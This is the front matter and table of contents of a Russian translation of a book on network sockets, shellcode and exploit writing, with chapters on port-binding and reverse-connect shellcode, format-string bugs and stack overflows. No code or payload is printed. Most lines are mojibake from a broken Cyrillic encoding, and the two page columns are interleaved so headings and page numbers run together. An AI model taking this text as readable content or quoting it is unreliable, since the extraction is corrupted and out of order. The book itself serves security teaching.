Вы находитесь на странице: 1из 393

Äæåéìñ Ñ.

Ôîñòåð
ïðè ó÷àñòèè Ìàéêà Ïðàéñà

Техника взлома:
сокеты, эксплойты, shеllкод
Серия «Информационная безопасность»

Москва, 2006
УДК 004.2
ББК 32.973.26018.2
Ф81
Содержание
Ф81 Äæåéìñ Ôîñòåð, ïðè ó÷àñòèè Ìàéêà Ïðàéñà Благодарности ......................................................................................... 23
Техника взлома: сокеты, эксплойты, shellкод: Пер. с англ. Слинкина А. А. – Об авторе ................................................................................................. 24
М.: ДМКпресс, 2006. – 784 с.: ил. (Серия «Информационная безопасность»).
Об основном соавторе ............................................................................ 25
ISBN 5970600199
Прочие соавторы, редакторы и авторы кода ..................................... 26
 ñâîåé íîâîé êíèãå Äæåéìñ Ôîñòåð, àâòîð ðÿäà áåñòñåëëåðîâ, âïåð- Об авторе предисловия .......................................................................... 28
âûå îïèñûâàåò ìåòîäû, êîòîðûìè ïîëüçóþòñÿ õàêåðû äëÿ àòàê íà îïå-
ðàöèîííûå ñèñòåìû è ïðèêëàäíûå ïðîãðàììû. Îí ïðèâîäèò ïðèìåðû Предисловие ............................................................................................. 29
ðàáîòàþùåãî êîäà íà ÿçûêàõ C/C++, Java, Perl è NASL, â êîòîðûõ èëëþ- Íàñòóïèò ëè «ñóäíûé äåíü»? ............................................................................. 29
ñòðèðóþòñÿ ìåòîäû îáíàðóæåíèÿ è çàùèòû îò íàèáîëåå îïàñíûõ àòàê.
Глава 1. Написание безопасных программ ......................................... 31
 êíèãå ïîäðîáíî èçëîæåíû âîïðîñû, ðàçáèðàòüñÿ â êîòîðûõ íàñóùíî
íåîáõîäèìî ëþáîìó ïðîãðàììèñòó, ðàáîòàþùåìó â ñôåðå èíôîðìà- Ââåäåíèå ............................................................................................................... 32
öèîííîé áåçîïàñíîñòè: ïðîãðàììèðîâàíèå ñîêåòîâ, shell-êîäû, ïåðåíî- C/C++ .................................................................................................................... 33
ñèìûå ïðèëîæåíèÿ è ïðèíöèïû íàïèñàíèÿ ýêñïëîéòîâ Õàðàêòåðèñòèêè ÿçûêà ...................................................................................... 34
ßçûê C ........................................................................................................ 34
ßçûê C++ .................................................................................................... 35
Áåçîïàñíîñòü ............................................................................................... 35
Ïðèìåð «Çäðàâñòâóé, ìèð!» ............................................................................. 36
Òèïû äàííûõ .................................................................................................... 37
Ïîòîê óïðàâëåíèÿ ........................................................................................... 40
Ôóíêöèè ........................................................................................................... 41
УДК 004.2 Êëàññû (òîëüêî C++) ....................................................................................... 42
ББК 32.973.26018.2 Ïðèìåð: ðÿäû Ôóðüå ....................................................................................... 44
ßçûê Java .............................................................................................................. 48
Original English language edition published by Syngress Publishing, Inc. Copyright © 2005 by
Syngress Publishing, Inc. All rights reserved. Õàðàêòåðèñòèêè ÿçûêà ...................................................................................... 49
Все права защищены. Любая часть этой книги не может быть воспроизведена в какой
Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè .............................................. 49
бы то ни было форме и какими бы то ни было средствами без письменного разрешения вла Ïëàòôîðìåííàÿ íåçàâèñèìîñòü ................................................................. 49
дельцев авторских прав. Ìíîãîïîòî÷íîñòü ....................................................................................... 49
Материал, изложенный в данной книге, многократно проверен. Но поскольку вероятность
технических ошибок все равно существует, издательство не может гарантировать абсолютную Áåçîïàñíîñòü ............................................................................................... 50
точность и правильность приводимых сведений. В связи с этим издательство не несет ответ Äîïîëíèòåëüíûå âîçìîæíîñòè ................................................................. 50
ственности за возможные ошибки, связанные с использованием книги.
Ïðèìåð «Çäðàâñòâóé, ìèð!» ............................................................................. 50
Òèïû äàííûõ .................................................................................................... 51
ISBN 1-597490-05-9 (àíãë.) Copyright © 2005 by Syngress Publishing, Inc.
Ïîòîê óïðàâëåíèÿ ........................................................................................... 52
ISBN 5-9706-0019-9 © Ïåðåâîä íà ðóññêèé ÿçûê, îôîðìëåíèå, èçäàíèå,
Èçäàòåëüñêèé Äîì ÄÌÊ-ïðåññ, 2006 Ìåòîäû ............................................................................................................. 54
6 Техника взлома: сокеты, эксплойты и shell!код Содержание 7

Êëàññû ............................................................................................................... 54 Глава 2. Язык сценариев NASL ............................................................ 107


Ïîëó÷åíèå çàãîëîâêîâ HTTP ............................................................................ 57 Ââåäåíèå ............................................................................................................. 108
ßçûê C# ................................................................................................................ 59 Èñòîðèÿ .......................................................................................................... 108
Îñíîâàíèÿ äëÿ ïåðåõîäà íà C# ......................................................................... 59 Íàçíà÷åíèå NASL .......................................................................................... 109
Õàðàêòåðèñòèêè ÿçûêà ...................................................................................... 60 Ïðîñòîòà è óäîáñòâî ................................................................................ 109
Îáúåêòíî-îðèåíòèðîâàííûå âîçìîæíîñòè .............................................. 60 Ìîäóëüíîñòü è ýôôåêòèâíîñòü ................................................................ 109
Ïðî÷èå âîçìîæíîñòè ................................................................................. 61 Áåçîïàñíîñòü ............................................................................................. 110
Áåçîïàñíîñòü ............................................................................................... 61 Îãðàíè÷åíèÿ NASL ................................................................................... 110
Ïðèìåð «Çäðàâñòâóé, ìèð!» íà ÿçûêå C# ........................................................ 62 Ñèíòàêñèñ ÿçûêà NASL ..................................................................................... 110
Òèïû äàííûõ .................................................................................................... 62 Êîììåíòàðèè ............................................................................................ 110
Ïîòîê óïðàâëåíèÿ ........................................................................................... 64 Ïðèìåð ïðàâèëüíîãî êîììåíòàðèÿ ................................................... 110
Ìåòîäû ............................................................................................................. 66 Ïðèìåðû íåïðàâèëüíûõ êîììåíòàðèåâ ............................................ 111
Êëàññû ............................................................................................................... 66 Ïåðåìåííûå .............................................................................................. 111
Ïîòîêè â ÿçûêå C# ........................................................................................... 69 Öåëûå ÷èñëà ......................................................................................... 111
Ïðèìåð: ðàçáîð IP-àäðåñà, çàäàííîãî â êîìàíäíîé ñòðîêå ........................... 70 Ñòðîêè .................................................................................................. 111
Ìàññèâû ............................................................................................... 111
ßçûê Perl .............................................................................................................. 79
NULL .................................................................................................... 113
Òèïû äàííûõ .................................................................................................... 80
Áóëåâñêèå âåëè÷èíû ........................................................................... 113
Îïåðàòîðû ........................................................................................................ 82 Îïåðàòîðû ................................................................................................ 113
Ïðèìåð Perl-ñöåíàðèÿ ...................................................................................... 84 Îïåðàòîðû âíå êàòåãîðèè .................................................................. 113
Àíàëèç ......................................................................................................... 85 Îïåðàòîðû ñðàâíåíèÿ ......................................................................... 114
Ñïåöèàëüíûå ïåðåìåííûå .............................................................................. 86 Àðèôìåòè÷åñêèå îïåðàòîðû .............................................................. 114
Ñîïîñòàâëåíèå ñ îáðàçöîì è ïîäñòàíîâêà ...................................................... 87 Îïåðàòîðû ðàáîòû ñî ñòðîêàìè ........................................................ 115
Ìîäèôèêàòîðû ðåãóëÿðíûõ âûðàæåíèé ........................................................ 88 Ëîãè÷åñêèå îïåðàòîðû ........................................................................ 115
Êàíîíè÷åñêèå èíñòðóìåíòû, íàïèñàííûå íà Perl .......................................... 88 Ïîáèòîâûå îïåðàòîðû ........................................................................ 116
ß óìåþ ïèñàòü íà Perl! ...................................................................................... 89 Îïåðàòîðû ñîñòàâíîãî ïðèñâàèâàíèÿ â ñòèëå C ............................... 116
Êàíîíè÷åñêàÿ àòàêà íà Web-ñåðâåð ............................................................ 89 Óïðàâëÿþùèå êîíñòðóêöèè ..................................................................... 117
Àíàëèç ......................................................................................................... 90 Èíñòðóêöèè if ....................................................................................... 117
Óòèëèòà ìîäèôèêàöèè ôàéëà ïðîòîêîëà ......................................................... 90 Öèêëû for .............................................................................................. 117
Ðåçóëüòàò âûïîëíåíèÿ ................................................................................ 93 Öèêëû foreach ....................................................................................... 118
Àíàëèç ......................................................................................................... 94 Öèêëû while ......................................................................................... 118
Öèêëû repeat-until ............................................................................... 118
ßçûê Python ........................................................................................................ 96
Èíñòðóêöèÿ break ................................................................................ 118
Ïàêåò Inl ineEgg ................................................................................................. 96
Ïîëüçîâàòåëüñêèå ôóíêöèè ............................................................... 119
Àíàëèç ......................................................................................................... 98
Âñòðîåííûå ôóíêöèè .......................................................................... 120
Àíàëèç ......................................................................................................... 99
Èíñòðóêöèÿ return ............................................................................... 120
Ðåçþìå ................................................................................................................ 101
Íàïèñàíèå ñöåíàðèåâ íà ÿçûêå NASL .......................................................... 120
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 103 Íàïèñàíèå ñöåíàðèåâ äëÿ ëè÷íîãî ïîëüçîâàíèÿ ........................................ 121
Ññûëêè íà ñàéòû ................................................................................................ 104 Ñåòåâûå ôóíêöèè ..................................................................................... 121
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 105 Ôóíêöèè, ñâÿçàííûå ñ ïðîòîêîëîì HTTP ................................................ 121
8 Техника взлома: сокеты, эксплойты и shell!код Содержание 9

Ôóíêöèè ìàíèïóëèðîâàíèÿ ïàêåòàìè ..................................................... 121 Êîìïèëÿöèÿ ................................................................................................... 160


Ôóíêöèè ìàíèïóëèðîâàíèÿ ñòðîêàìè ..................................................... 122 Ïðèìåð èñïîëíåíèÿ ....................................................................................... 160
Êðèïòîãðàôè÷åñêèå ôóíêöèè ................................................................. 122 Àíàëèç ............................................................................................................. 161
Èíòåðïðåòàòîð êîìàíä NASL .................................................................. 122 Êîìïèëÿöèÿ ................................................................................................... 163
Ïðèìåð ................................................................................................. 122 Ïðèìåð èñïîëíåíèÿ ....................................................................................... 163
Ïðîãðàììèðîâàíèå â ñðåäå Nessus ............................................................... 124 Àíàëèç ............................................................................................................. 163
Îïèñàòåëüíûå ôóíêöèè ........................................................................... 124
Êîìïèëÿöèÿ ................................................................................................... 165
Ôóíêöèè, îòíîñÿùèåñÿ ê áàçå çíàíèé ............................................... 124
Ïðèìåð èñïîëíåíèÿ ....................................................................................... 165
Ôóíêöèè èçâåùåíèÿ î ðåçóëüòàòàõ ðàáîòû ....................................... 125
Àíàëèç ............................................................................................................. 165
Ïðèìåð ................................................................................................. 125
Îïöèè ñîêåòîâ .................................................................................................. 166
Ïðèìåð: êàíîíè÷åñêèé ñöåíàðèé íà ÿçûêå NASL ....................................... 127
Àíàëèç ............................................................................................................. 168
Ïåðåíîñ íà ÿçûê NASL è íàîáîðîò ............................................................... 131
Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ UDP-ñîêåòîâ ............................................ 169
Ëîãè÷åñêèé àíàëèç ......................................................................................... 131
Êîìïèëÿöèÿ ................................................................................................... 176
Ëîãè÷åñêàÿ ñòðóêòóðà ïðîãðàììû ............................................................ 131
Ïñåâäîêîä ................................................................................................. 132 Ïðèìåð èñïîëíåíèÿ ....................................................................................... 176
Ïåðåíîñ íà NASL ...................................................................................... 133 Àíàëèç ............................................................................................................. 177
Ïåðåíîñ íà NASL ñ C/C++ ........................................................................ 134 Ñêàíèðîâàíèå ñåòè ñ ïîìîùüþ TCP-ñîêåòîâ ............................................. 178
Ïåðåíîñ ñ ÿçûêà NASL .............................................................................. 140 Êîìïèëÿöèÿ ................................................................................................... 188
Ðåçþìå ................................................................................................................ 142 Ïðèìåð èñïîëíåíèÿ ....................................................................................... 188
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 143 Àíàëèç ............................................................................................................. 189
Ññûëêè íà ñàéòû ................................................................................................ 144 Ìíîãîïîòî÷íîñòü è ïàðàëëåëèçì .................................................................. 191
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 145 Ðåçþìå ................................................................................................................ 193
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 193
Глава 3. BSD!сокеты ............................................................................... 147
Ññûëêè íà ñàéòû ................................................................................................ 195
Ââåäåíèå ............................................................................................................. 148
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 195
Ââåäåíèå â ïðîãðàììèðîâàíèå BSD-ñîêåòîâ ............................................. 148
Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà TCP ........................................................ 149 Глава 4. Сокеты на платформе Windows (Winsock) ......................... 197
Êîìïèëÿöèÿ ................................................................................................... 151 Ââåäåíèå ............................................................................................................. 198
Ïðèìåð âûïîëíåíèÿ ...................................................................................... 151 Îáçîð Winsock ................................................................................................... 198
Àíàëèç ............................................................................................................. 151 Winsock 2.0 ......................................................................................................... 200
Êîìïèëÿöèÿ ................................................................................................... 154 Êîìïîíîâêà ñ èñïîëüçîâàíèåì Visual Studio 6.0 ........................................... 201
Ïðèìåð âûïîëíåíèÿ ...................................................................................... 154 Çàäàíèå êîìïîíîâêè â èñõîäíîì êîäå ......................................................... 201
Àíàëèç ............................................................................................................. 154 Àíàëèç ............................................................................................................. 203
Àíàëèç ............................................................................................................. 156 Ïðèìåð: ñêà÷èâàíèå Web-ñòðàíèöû ñ ïîìîùüþ WinSock ...................... 206
Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDP ....................................................... 156 Àíàëèç ............................................................................................................. 207
Êîìïèëÿöèÿ ................................................................................................... 158 Ïðîãðàììèðîâàíèå êëèåíòñêèõ ïðèëîæåíèé ............................................ 207
Ïðèìåð èñïîëíåíèÿ ....................................................................................... 158 Àíàëèç ............................................................................................................. 210
Àíàëèç ............................................................................................................. 158 Ïðîãðàììèðîâàíèå ñåðâåðíûõ ïðèëîæåíèé .............................................. 211
10 Техника взлома: сокеты, эксплойты и shell!код Содержание 11

Àíàëèç ............................................................................................................. 214 Êëèåíòû è ñåðâåðû äëÿ ïðîòîêîëà UDP ......................................................... 266
Íàïèñàíèå ýêñïëîéòîâ è ïðîãðàìì äëÿ ïðîâåðêè íàëè÷èÿ Êîìïèëÿöèÿ .............................................................................................. 271
óÿçâèìîñòåé ....................................................................................................... 215 Ïðèìåð âûïîëíåíèÿ ................................................................................. 271
Àíàëèç ............................................................................................................. 222 Àíàëèç ....................................................................................................... 272
Àíàëèç ............................................................................................................. 223 Ðåçþìå ................................................................................................................ 275
Ðåçþìå ................................................................................................................ 224 Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 276
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 224 ×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 277
Ññûëêè íà ñàéòû ................................................................................................ 225 Глава 6. Написание переносимых программ .................................... 279
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 226 Ââåäåíèå ............................................................................................................. 280
Глава 5. Сокеты в языке Java ............................................................... 233 Ðåêîìåíäàöèè ïî ïåðåíîñó ïðîãðàìì ìåæäó ïëàòôîðìàìè UNIX
è Microsoft Windows ......................................................................................... 280
Ââåäåíèå ............................................................................................................. 234
Äèðåêòèâû ïðåïðîöåññîðà ............................................................................. 281
Îáçîð ïðîòîêîëîâ TCP/IP ............................................................................... 234
Èñïîëüçîâàíèå äèðåêòèâ #ifdef ..................................................................... 281
TCP-êëèåíòû .................................................................................................. 235
Îïðåäåëåíèå îïåðàöèîííîé ñèñòåìû ........................................................... 283
Êîìïèëÿöèÿ .............................................................................................. 237
Ïðèìåð èñïîëíåíèÿ ................................................................................. 284
Ïðèìåð âûïîëíåíèÿ ................................................................................. 238 Àíàëèç ....................................................................................................... 284
Àíàëèç ....................................................................................................... 238
Ïîðÿäîê áàéòîâ ............................................................................................. 285
Ðàçðåøåíèå IP-àäðåñîâ è äîìåííûõ èìåí .................................................... 239 Ïðèìåð èñïîëíåíèÿ ................................................................................. 286
Ïðèìåð âûïîëíåíèÿ ................................................................................. 240 Àíàëèç ....................................................................................................... 286
Àíàëèç ....................................................................................................... 240 Ñîçäàíèå è çàâåðøåíèå ïðîöåññîâ ............................................................... 287
Ïðèìåð âûïîëíåíèÿ ................................................................................. 241
Ñèñòåìíûé âûçîâ exec .................................................................................... 287
Àíàëèç ....................................................................................................... 242
Ïðèìåð èñïîëíåíèÿ ................................................................................. 288
Ââîä/âûâîä òåêñòà: êëàññ LineNumberReader ................................................. 242 Àíàëèç ....................................................................................................... 288
Êîìïèëÿöèÿ .............................................................................................. 245 Ïðèìåð èñïîëíåíèÿ ................................................................................. 289
Ïðèìåð âûïîëíåíèÿ ................................................................................. 245 Àíàëèç ....................................................................................................... 289
Àíàëèç ....................................................................................................... 245 Ïðèìåð èñïîëíåíèÿ ................................................................................. 292
TCP-ñåðâåðû ................................................................................................... 246 Àíàëèç ....................................................................................................... 292
Êîìïèëÿöèÿ .............................................................................................. 249 Ñèñòåìíûé âûçîâ fork ................................................................................... 293
Ïðèìåð âûïîëíåíèÿ ................................................................................. 249 Ñèñòåìíûé âûçîâ exit .................................................................................... 293
Àíàëèç ....................................................................................................... 249 Ìíîãîïîòî÷íîñòü .......................................................................................... 293
Èñïîëüçîâàíèå Web-áðàóçåðà äëÿ ñîåäèíåíèÿ ñ ñåðâåðîì TCPServer1 ....... 250 Ñîçäàíèå ïîòîêà ............................................................................................. 294
Ðàáîòà ñ íåñêîëüêèìè ñîåäèíåíèÿìè ............................................................ 251 Ïðèìåð èñïîëíåíèÿ ................................................................................. 295
Êîìïèëÿöèÿ .............................................................................................. 257 Àíàëèç ....................................................................................................... 295
Ïðèìåð âûïîëíåíèÿ ................................................................................. 257 Ïðèìåð èñïîëíåíèÿ ................................................................................. 296
Àíàëèç ....................................................................................................... 258 Àíàëèç ....................................................................................................... 296
Ïðîãðàììà WormCatcher ................................................................................ 260 Ñèíõðîíèçàöèÿ ïîòîêîâ ................................................................................ 297
Êîìïèëÿöèÿ .............................................................................................. 264 Ïðèìåð èñïîëíåíèÿ ................................................................................. 299
Ïðèìåð âûïîëíåíèÿ ................................................................................. 264 Àíàëèç ....................................................................................................... 299
Àíàëèç ....................................................................................................... 265 Ïðèìåð èñïîëíåíèÿ ................................................................................. 301
12 Техника взлома: сокеты, эксплойты и shell!код Содержание 13

Àíàëèç ....................................................................................................... 301 Àíàëèç ....................................................................................................... 339


Ñèãíàëû .......................................................................................................... 302 Àíàëèç ....................................................................................................... 340
Àíàëèç ....................................................................................................... 303 Àíàëèç ....................................................................................................... 341
Àíàëèç ....................................................................................................... 304 Ðàñøèðåííàÿ èíôîðìàöèÿ îá îøèáêàõ ....................................................... 341
Ðàáîòà ñ ôàéëàìè ............................................................................................ 304 Àíàëèç ....................................................................................................... 342
Àíàëèç ....................................................................................................... 305 API ................................................................................................................... 343
Àíàëèç ....................................................................................................... 307 Ðàñøèðåíèÿ, îïðåäåëåííûå â Winsock 2.0 .................................................... 343
Ðàáîòà ñ êàòàëîãàìè ........................................................................................ 307 Ôóíêöèè read() è write() ................................................................................ 343
Àíàëèç ....................................................................................................... 308 Ôóíêöèÿ socket() ............................................................................................ 343
Àíàëèç ....................................................................................................... 309 Àíàëèç ....................................................................................................... 345
Àíàëèç ....................................................................................................... 311 Ôóíêöèÿ connect() .......................................................................................... 346
Áèáëèîòåêè ..................................................................................................... 311 Àíàëèç ....................................................................................................... 348
Äèíàìè÷åñêàÿ çàãðóçêà áèáëèîòåê ............................................................... 313 Ôóíêöèÿ bind() ............................................................................................... 348
Àíàëèç ....................................................................................................... 315 Àíàëèç ....................................................................................................... 351
Àíàëèç ....................................................................................................... 316 Ôóíêöèÿ l isten() ............................................................................................. 351
Ïðîãðàììèðîâàíèå äåìîíîâ è Win32-ñåðâèñîâ .......................................... 317 Àíàëèç ....................................................................................................... 354
Ïðèìåð èñïîëíåíèÿ ................................................................................. 319 Ôóíêöèÿ accept() ............................................................................................ 354
Àíàëèç ....................................................................................................... 319 Àíàëèç ....................................................................................................... 357
Àíàëèç ....................................................................................................... 323 Ôóíêöèÿ select() .............................................................................................. 358
Óïðàâëåíèå ïàìÿòüþ ..................................................................................... 324 Àíàëèç ....................................................................................................... 362
Àíàëèç ....................................................................................................... 325 Ôóíêöèè send() è sendto() .............................................................................. 363
Îáðàáîòêà àðãóìåíòîâ, çàäàííûõ â êîìàíäíîé ñòðîêå ................................ 325 Àíàëèç ....................................................................................................... 366
Àíàëèç ....................................................................................................... 326 Ôóíêöèè recv() è recvfrom() ........................................................................... 366
Àíàëèç ....................................................................................................... 328 Àíàëèç ....................................................................................................... 370
Ïðèìåð èñïîëíåíèÿ ................................................................................. 329 Ôóíêöèè close() è closesocket() ...................................................................... 370
Àíàëèç ....................................................................................................... 329 Àíàëèç ....................................................................................................... 372
Öåëî÷èñëåííûå òèïû äàííûõ ....................................................................... 330 Ôóíêöèÿ setsockopt() ...................................................................................... 372
Àíàëèç ....................................................................................................... 331 Àíàëèç ....................................................................................................... 375
Ðåçþìå ................................................................................................................ 332 Ôóíêöèè ioctl() è ioctlsocket() ........................................................................ 375
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 332 Àíàëèç ....................................................................................................... 377
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 332 Ïðîñòûå ñîêåòû ............................................................................................. 378
Îáçîð API ....................................................................................................... 378
Глава 7. Написание переносимых сетевых программ ..................... 335
Çàãîëîâî÷íûå ôàéëû ..................................................................................... 379
Ââåäåíèå ............................................................................................................. 336 Çàãîëîâîê IPv4 ......................................................................................... 379
BSD-ñîêåòû è Winsock ..................................................................................... 336 Çàãîëîâîê ICMP ........................................................................................ 381
Òðåáîâàíèÿ ñïåöèôèêàöèè Winsock ............................................................. 337 Çàãîëîâîê UDP .......................................................................................... 381
Àíàëèç ....................................................................................................... 338 Çàãîëîâîê TCP ........................................................................................... 382
Ïîäëåæàùèå ïåðåíîñó êîìïîíåíòû ............................................................. 338 Îïðåäåëåíèå ëîêàëüíîãî IP-àäðåñà .............................................................. 383
Âîçâðàùàåìûå çíà÷åíèÿ ............................................................................... 338 Çàïðîñ ó ïîëüçîâàòåëÿ .................................................................................... 383
14 Техника взлома: сокеты, эксплойты и shell!код Содержание 15

Ïåðå÷èñëåíèå èíòåðôåéñîâ ...................................................................... 384 Shell-êîä, âûïîëíÿþùèé setuid ..................................................................... 419


Ïðèìåð èñïîëíåíèÿ ................................................................................. 388 Shell-êîä, âûïîëíÿþùèé chroot .................................................................... 420
Àíàëèç ....................................................................................................... 388 Íàïèñàíèå shell-êîäà äëÿ Windows ................................................................ 425
Áèáëèîòåêè pcap è WinPcap ........................................................................ 389 Ðåçþìå ................................................................................................................ 431
Ïðèìåð èñïîëíåíèÿ ................................................................................. 394
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 431
Àíàëèç ....................................................................................................... 394
Ññûëêè íà ñàéòû ................................................................................................ 433
Ðåçþìå ................................................................................................................ 396
Ñïèñêè ðàññûëêè .............................................................................................. 434
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 397
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 434
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 397
Глава 8. Написание shell!кода I ........................................................... 399 Глава 9. Написание shell!кода II .......................................................... 437
Ââåäåíèå ............................................................................................................. 438
Ââåäåíèå ............................................................................................................. 400
Ïðèìåðû shell-êîäîâ ........................................................................................ 438
×òî òàêîå shell-êîä? ......................................................................................... 400
Èíñòðóìåíòû ............................................................................................ 401 Ñèñòåìíûé âûçîâ write .................................................................................. 441
ßçûê àññåìáëåðà ....................................................................................... 402 Àíàëèç ....................................................................................................... 442
Àíàëèç .................................................................................................. 403 Àíàëèç ....................................................................................................... 444
Àíàëèç .................................................................................................. 403 Ñèñòåìíûé âûçîâ execve ................................................................................ 446
Àíàëèç .................................................................................................. 404 Àíàëèç ....................................................................................................... 446
Àññåìáëåð â Windows è UNIX .................................................................. 406 Àíàëèç ....................................................................................................... 447
Ïðîáëåìà àäðåñàöèè ...................................................................................... 406 Àíàëèç ....................................................................................................... 449
Ïðèìåíåíèå êîìàíä call è jmp ............................................................... 407 Àíàëèç ....................................................................................................... 451
Àíàëèç .................................................................................................. 407 Àíàëèç ....................................................................................................... 453
Àíàëèç .................................................................................................. 408 Àíàëèç ....................................................................................................... 454
Çàòàëêèâàíèå àðãóìåíòîâ â ñòåê ............................................................. 408 Shell-êîä äëÿ ïðèâÿçêè ê ïîðòó ..................................................................... 455
Àíàëèç ....................................................................................................... 456
Ïðîáëåìà íóëåâîãî áàéòà ............................................................................... 409
Ñèñòåìíûé âûçîâ socket ................................................................................ 458
Ðåàëèçàöèÿ ñèñòåìíûõ âûçîâîâ ..................................................................... 410
Àíàëèç ....................................................................................................... 458
Íîìåðà ñèñòåìíûõ âûçîâîâ ........................................................................... 410
Ñèñòåìíûé âûçîâ bind ................................................................................... 459
Àðãóìåíòû ñèñòåìíûõ âûçîâîâ ............................................................... 411
Àíàëèç ....................................................................................................... 459
Àíàëèç .................................................................................................. 411
Ñèñòåìíûé âûçîâ l isten ................................................................................. 460
Àíàëèç .................................................................................................. 412
Àíàëèç ....................................................................................................... 460
Àíàëèç .................................................................................................. 412
Çíà÷åíèå, âîçâðàùàåìîå ñèñòåìíûì âûçîâîì ....................................... 413 Ñèñòåìíûé âûçîâ accept ................................................................................ 460
Àíàëèç ....................................................................................................... 461
Âíåäðåíèå shell-êîäà â óäàëåííóþ ïðîãðàììó ............................................ 413
Ñèñòåìíûé âûçîâ dup2 ................................................................................. 461
Shell-êîä äëÿ ïðèâÿçêè ê ïîðòó ..................................................................... 413
Àíàëèç ....................................................................................................... 462
Àíàëèç .................................................................................................. 415
Ñèñòåìíûé âûçîâ execve ................................................................................ 462
Shell-êîä äëÿ èñïîëüçîâàíèÿ ñóùåñòâóþùåãî äåñêðèïòîðà ñîêåòà .............. 415
Àíàëèç ....................................................................................................... 462
Àíàëèç .................................................................................................. 416
Àíàëèç ....................................................................................................... 466
Âíåäðåíèå shell-êîäà â ëîêàëüíóþ ïðîãðàììó ............................................ 417 Shell-êîä äëÿ îáðàòíîãî ñîåäèíåíèÿ ............................................................. 468
Shell-êîä, âûïîëíÿþùèé execve ..................................................................... 417 Àíàëèç ....................................................................................................... 470
16 Техника взлома: сокеты, эксплойты и shell!код Содержание 17

Shell-êîä äëÿ ïîâòîðíîãî èñïîëüçîâàíèÿ ñîêåòà .......................................... 471 Èñïðàâëåíèå îøèáêè èç-çà íåêîððåêòíîãî èñïîëüçîâàíèÿ
Àíàëèç ....................................................................................................... 473 ôîðìàòíîé ñòðîêè .................................................................................... 510
Ïîâòîðíîå èñïîëüçîâàíèå ôàéëîâûõ äåñêðèïòîðîâ .................................. 474 Ïðèìåð: óÿçâèìîñòü xlockmore âñëåäñòâèå çàäàíèÿ ïîëüçîâàòåëåì
Àíàëèç ....................................................................................................... 474 ôîðìàòíîé ñòðîêè (CVE-2000-0763) ............................................................. 510
Àíàëèç ....................................................................................................... 476 Äåòàëè óÿçâèìîñòè .................................................................................... 510
Àíàëèç ....................................................................................................... 477 Äåòàëè ýêñïëîéòà ....................................................................................... 511
Àíàëèç ....................................................................................................... 478 Àíàëèç ....................................................................................................... 513
Àíàëèç ....................................................................................................... 479 Óÿçâèìîñòè TCP/IP ........................................................................................... 513
Àíàëèç ....................................................................................................... 480
Àíàëèç ....................................................................................................... 480 Ãîíêè ................................................................................................................... 514
Êîäèðîâàíèå shell-êîäà .................................................................................. 481 Ãîíêè, ñâÿçàííûå ñ ôàéëàìè ......................................................................... 515
Àíàëèç ....................................................................................................... 482 Ãîíêè, ñâÿçàííûå ñ ñèãíàëàìè ...................................................................... 516
Àíàëèç ....................................................................................................... 485 Ïðèìåð: îøèáêà â ïðîãðàììå man ïðè êîíòðîëå âõîäíûõ äàííûõ ...... 517
Àíàëèç ....................................................................................................... 486 Äåòàëè óÿçâèìîñòè .................................................................................... 517
Ïîâòîðíîå èñïîëüçîâàíèå ïåðåìåííûõ ïðîãðàììû ................................ 488 Ðåçþìå ................................................................................................................ 520
Ïðîãðàììû ñ îòêðûòûìè èñõîäíûìè òåêñòàìè ..................................... 488 Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 521
Àíàëèç ....................................................................................................... 489
Ññûëêè íà ñàéòû ................................................................................................ 523
Ïðîãðàììû ñ íåäîñòóïíûìè èñõîäíûìè òåêñòàìè ................................ 490
Àíàëèç ....................................................................................................... 491 ×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 523
Àíàëèç ....................................................................................................... 492 Глава 11. Написание эксплойтов II ..................................................... 525
Shell-êîä, ðàáîòàþùèé â ðàçíûõ ÎÑ ............................................................. 492 Ââåäåíèå ............................................................................................................. 526
Àíàëèç ....................................................................................................... 493
Ïðîãðàììèðîâàíèå ñîêåòîâ è ïðèâÿçêè ê ïîðòó â ýêñïëîéòàõ .............. 527
Êàê ðàçîáðàòüñÿ â ðàáîòå ãîòîâîãî shell-êîäà? .......................................... 493 Ïðîãðàììèðîâàíèå êëèåíòñêèõ ñîêåòîâ ...................................................... 527
Àíàëèç ....................................................................................................... 496
Àíàëèç ....................................................................................................... 528
Ðåçþìå ................................................................................................................ 499 Àíàëèç ....................................................................................................... 529
Îáçîð èçëîæåííîãî ìàòåðèàëà ..................................................................... 499 Ïðîãðàììèðîâàíèå ñåðâåðíûõ ñîêåòîâ ....................................................... 529
Ññûëêà íà ñàéòû ................................................................................................. 500 Àíàëèç ....................................................................................................... 530
Ñïèñêè ðàññûëêè .............................................................................................. 500 Ýêñïëîéòû äëÿ ïåðåïîëíåíèÿ ñòåêà .............................................................. 531
×àñòî çàäàâàåìûå âîïðîñû ............................................................................ 501 Îðãàíèçàöèÿ ïàìÿòè ...................................................................................... 531
Ïåðåïîëíåíèå ñòåêà ......................................................................................... 532
Глава 10. Написание эксплойтов I....................................................... 503
Ïîèñê ïîääàþùèõñÿ ýêñïëóàòàöèè ïåðåïîëíåíèé ñòåêà â ïðîãðàììàõ
Ââåäåíèå ............................................................................................................. 504 ñ îòêðûòûìè èñõîäíûìè òåêñòàìè .......................................................... 537
Îáíàðóæåíèå óÿçâèìîñòåé ............................................................................. 504 Ïðèìåð: ïåðåïîëíåíèå XLOCALEDIR â X11R6 4.2 .................................... 538
